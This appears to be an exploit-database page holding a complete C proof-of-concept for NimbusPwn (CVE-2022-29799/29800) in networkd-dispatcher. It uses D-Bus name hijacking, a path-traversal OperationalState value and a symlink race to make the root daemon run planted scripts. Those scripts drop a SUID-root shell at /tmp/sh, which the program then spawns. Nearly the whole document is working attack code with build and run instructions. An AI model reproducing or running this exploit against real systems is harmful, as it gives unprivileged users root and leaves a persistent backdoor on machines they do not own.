5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / nimbuspwn.c C
// Exploit Title: networkd-dispatcher < 2.1 - Local Privilege Escalation (NimbusPwn)
// Date: 2026-06-17
// Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
// Vendor Homepage: https://gitlab.com/craftyguy/networkd-dispatcher
// Software Link: https://gitlab.com/craftyguy/networkd-dispatcher/-/archive/2.0/networkd-dispatcher-2.0.tar.gz
// Version: < 2.1 (tested on 2.0)
// Tested on: Ubuntu 20.04.6 LTS (Docker)
// CVE: CVE-2022-29799, CVE-2022-29800
//
// Impact: an unprivileged local user gets a root shell. networkd-dispatcher does
// not sanitize the OperationalState it receives over D-Bus (CVE-2022-29799, path
// traversal); combined with a symlink TOCTOU on the script directory
// (CVE-2022-29800) the root daemon executes attacker-controlled scripts.
//
// Build: cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
// Run:   ./nimbuspwn [--check] [-s SHELL]   unprivileged user, authorized targets only

#include <dbus/dbus.h>

#include <dirent.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>

#define BUS_NAME "org.freedesktop.network1"
#define OBJ_PATH "/org/freedesktop/network1/link/_32"
#define PROP_IFACE "org.freedesktop.DBus.Properties"
#define LINK_IFACE "org.freedesktop.network1.Link"

#define SBIN "/sbin"
#define DST "/tmp/sh"
#define ATTEMPTS 10

#define CLR_RED "\033[91m"
#define CLR_GRN "\033[92m"
#define CLR_YEL "\033[93m"
#define CLR_BLU "\033[94m"
#define CLR_PNK "\033[95m"
#define CLR_CYN "\033[96m"
#define CLR_BLD "\033[1m"
#define CLR_RST "\033[0m"

#define REPO                                                                   \
    "https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800"

#define P_ERR CLR_RED "[-] "
#define P_OK CLR_GRN "[+] "
#define P_ASK CLR_YEL "[?] "
#define P_INFO CLR_BLU "[*] "
#define P_PROC CLR_CYN "[@] "

// Only the shell path tends to differ between hosts.
static const char *g_shell = "/bin/sh";

static char PAYLOAD[512];

// Drop a SUID-root copy of the shell so we can re-enter as root.
static void build_payload(void)
{
    snprintf(PAYLOAD, sizeof PAYLOAD,
             "#!/bin/sh\n"
             "cp %s %s\n"
             "chmod 4777 %s\n",
             g_shell, DST, DST);
}

static const char *base_name(const char *path)
{
    const char *slash = strrchr(path, '/');
    return slash ? slash + 1 : path;
}

// Grab the well-known name. If it is already owned, the host is not vulnerable.
static DBusConnection *claim_bus(void)
{
    DBusError err;
    dbus_error_init(&err);

    DBusConnection *conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
    if (dbus_error_is_set(&err)) {
        fprintf(stderr, P_ERR "system bus: %s" CLR_RST "\n", err.message);
        dbus_error_free(&err);
        return NULL;
    }

    int r = dbus_bus_request_name(conn, BUS_NAME, DBUS_NAME_FLAG_DO_NOT_QUEUE,
                                  &err);
    if (dbus_error_is_set(&err)) {
        fprintf(stderr, P_ERR "request_name: %s" CLR_RST "\n", err.message);
        dbus_error_free(&err);
        return NULL;
    }

    if (r != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
        fprintf(stderr,
                P_ERR "could not own %s (taken? not vulnerable)" CLR_RST "\n",
                BUS_NAME);
        return NULL;
    }

    printf(P_OK "owned %s" CLR_RST "\n", BUS_NAME);
    return conn;
}

// Non-breaking check: owning the name is the NimbusPwn precondition. We claim
// it, report, and release it again without planting payloads or racing.
static int check_target(void)
{
    DBusConnection *conn = claim_bus();
    if (!conn) {
        printf(P_INFO "verdict: not vulnerable" CLR_RST "\n");
        return 1;
    }

    printf(
        P_OK
        "verdict: likely vulnerable (%s is claimable, no privesc tried)" CLR_RST
        "\n",
        BUS_NAME);

    dbus_bus_release_name(conn, BUS_NAME, NULL);
    return 0;
}

// Emit PropertiesChanged (sa{sv}as) with the traversal string as
// OperationalState. That string is what the daemon fails to sanitize.
static int send_signal(DBusConnection *conn, const char *state)
{
    DBusMessage *msg =
        dbus_message_new_signal(OBJ_PATH, PROP_IFACE, "PropertiesChanged");
    if (!msg) {
        fprintf(stderr, P_ERR "new_signal failed" CLR_RST "\n");
        return -1;
    }

    DBusMessageIter args, dict, entry, var, arr;
    dbus_message_iter_init_append(msg, &args);

    const char *iface = LINK_IFACE;
    dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &iface);

    dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "{sv}", &dict);
    dbus_message_iter_open_container(&dict, DBUS_TYPE_DICT_ENTRY, NULL, &entry);

    const char *key = "OperationalState";
    dbus_message_iter_append_basic(&entry, DBUS_TYPE_STRING, &key);

    dbus_message_iter_open_container(&entry, DBUS_TYPE_VARIANT, "s", &var);
    dbus_message_iter_append_basic(&var, DBUS_TYPE_STRING, &state);
    dbus_message_iter_close_container(&entry, &var);

    dbus_message_iter_close_container(&dict, &entry);
    dbus_message_iter_close_container(&args, &dict);

    dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "s", &arr);
    dbus_message_iter_close_container(&args, &arr);

    dbus_uint32_t serial = 0;
    if (!dbus_connection_send(conn, msg, &serial)) {
        fprintf(stderr, P_ERR "send failed" CLR_RST "\n");
        dbus_message_unref(msg);
        return -1;
    }

    dbus_connection_flush(conn);
    dbus_message_unref(msg);

    printf(P_INFO "signal sent (serial %u)" CLR_RST "\n", serial);
    return 0;
}

// Point poc.d at /sbin so the daemon's root-owned check passes, then plant a
// payload named after every root-owned binary it will find there.
static int prepare_dir(const char *base)
{
    if (mkdir(base, 0755) != 0) {
        perror("mkdir");
        return -1;
    }

    char link[512];
    snprintf(link, sizeof link, "%s/poc.d", base);

    if (symlink(SBIN, link) != 0) {
        perror("symlink /sbin");
        return -1;
    }

    DIR *d = opendir(SBIN);
    if (!d) {
        perror("opendir /sbin");
        return -1;
    }

    struct dirent *de;
    int planted = 0;

    while ((de = readdir(d)) != NULL) {
        char full[1024];
        snprintf(full, sizeof full, "%s/%s", SBIN, de->d_name);

        struct stat st;
        if (stat(full, &st) != 0)
            continue;
        if (!S_ISREG(st.st_mode))
            continue;
        if (st.st_uid != 0)
            continue;
        if (access(full, X_OK) != 0)
            continue;

        char dst[1024];
        snprintf(dst, sizeof dst, "%s/%s", base, de->d_name);

        int fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0777);
        if (fd < 0)
            continue;

        write(fd, PAYLOAD, strlen(PAYLOAD));
        close(fd);
        chmod(dst, 0777);
        planted++;
    }

    closedir(d);

    printf(P_OK "planted %d payloads (root-owned /sbin execs) in %s" CLR_RST
                "\n",
           planted, base);
    return 0;
}

// Flip poc.d from /sbin to our payloads. This is the TOCTOU window.
static int swap_symlink(const char *base)
{
    char link[512];
    snprintf(link, sizeof link, "%s/poc.d", base);
    unlink(link);

    if (symlink(base, link) != 0) {
        perror("symlink swap");
        return -1;
    }

    return 0;
}

static void cleanup(const char *base)
{
    char cmd[600];
    snprintf(cmd, sizeof cmd, "rm -rf %s", base);
    system(cmd);
}

static void usage(const char *prog)
{
    fprintf(
        stderr,
        "Usage: %s [-c] [-s SHELL] [-h]\n"
        "  -c, --check        non-breaking vuln check, no exploitation\n"
        "  -s, --shell SHELL  shell to SUID-copy and spawn as root (default "
        "%s)\n"
        "  -h, --help         show this help\n",
        prog, g_shell);
}

int main(int argc, char **argv)
{
    printf(CLR_PNK CLR_BLD REPO CLR_RST "\n");

    static struct option long_opts[] = {{"check", no_argument, 0, 'c'},
                                        {"shell", required_argument, 0, 's'},
                                        {"help", no_argument, 0, 'h'},
                                        {0, 0, 0, 0}};
    int check_mode = 0;
    int opt;
    while ((opt = getopt_long(argc, argv, "cs:h", long_opts, NULL)) != -1) {
        switch (opt) {
        case 'c':
            check_mode = 1;
            break;
        case 's':
            g_shell = optarg;
            break;
        case 'h':
            usage(argv[0]);
            return 0;
        default:
            usage(argv[0]);
            return 1;
        }
    }

    if (check_mode)
        return check_target();

    if (access(g_shell, X_OK) != 0) {
        fprintf(stderr, P_ERR "shell %s not executable, try -s" CLR_RST "\n",
                g_shell);
        return 1;
    }

    build_payload();

    printf(P_INFO "shell=%s drop=%s attempts=%d" CLR_RST "\n", g_shell, DST,
           ATTEMPTS);

    srand((unsigned)time(NULL) ^ getpid());

    DBusConnection *conn = claim_bus();
    if (!conn)
        return 1;

    for (int attempt = 1; attempt <= ATTEMPTS; attempt++) {
        char base[256];
        snprintf(base, sizeof base, "/tmp/nimbuspwn_%d", rand() % 100000);

        printf(P_PROC "attempt %d (%s)" CLR_RST "\n", attempt, base);

        if (prepare_dir(base) != 0) {
            cleanup(base);
            continue;
        }

        // ../../.. climbs out of /etc/networkd-dispatcher back to our base,
        // so <state>.d resolves to base/poc.d (the symlink we control).
        char state[320];
        snprintf(state, sizeof state, "../../..%s/poc", base);

        printf(P_INFO "OperationalState: %s" CLR_RST "\n", state);

        if (send_signal(conn, state) != 0) {
            cleanup(base);
            continue;
        }

        // give the daemon a moment to start enumerating /sbin
        usleep(100 * 1000);

        swap_symlink(base);
        printf(P_PROC "symlink swapped, waiting for root exec" CLR_RST "\n");

        sleep(4);

        if (access(DST, F_OK) == 0) {
            printf(P_OK "root backdoor at %s, spawning shell" CLR_RST "\n",
                   DST);
            cleanup(base);

            printf(CLR_YEL "⭐ If this tool helped you, consider starring the "
                           "repo: " CLR_BLD CLR_YEL REPO CLR_RST "\n");
            fflush(stdout);

            // -p keeps euid=0 instead of dropping back to our uid
            execl(DST, base_name(g_shell), "-p", (char *)NULL);
            perror("execl");
            return 0;
        }

        cleanup(base);
    }

    fprintf(stderr, P_ERR
            "all attempts failed (patched or not vulnerable)" CLR_RST "\n");
    return 1;
}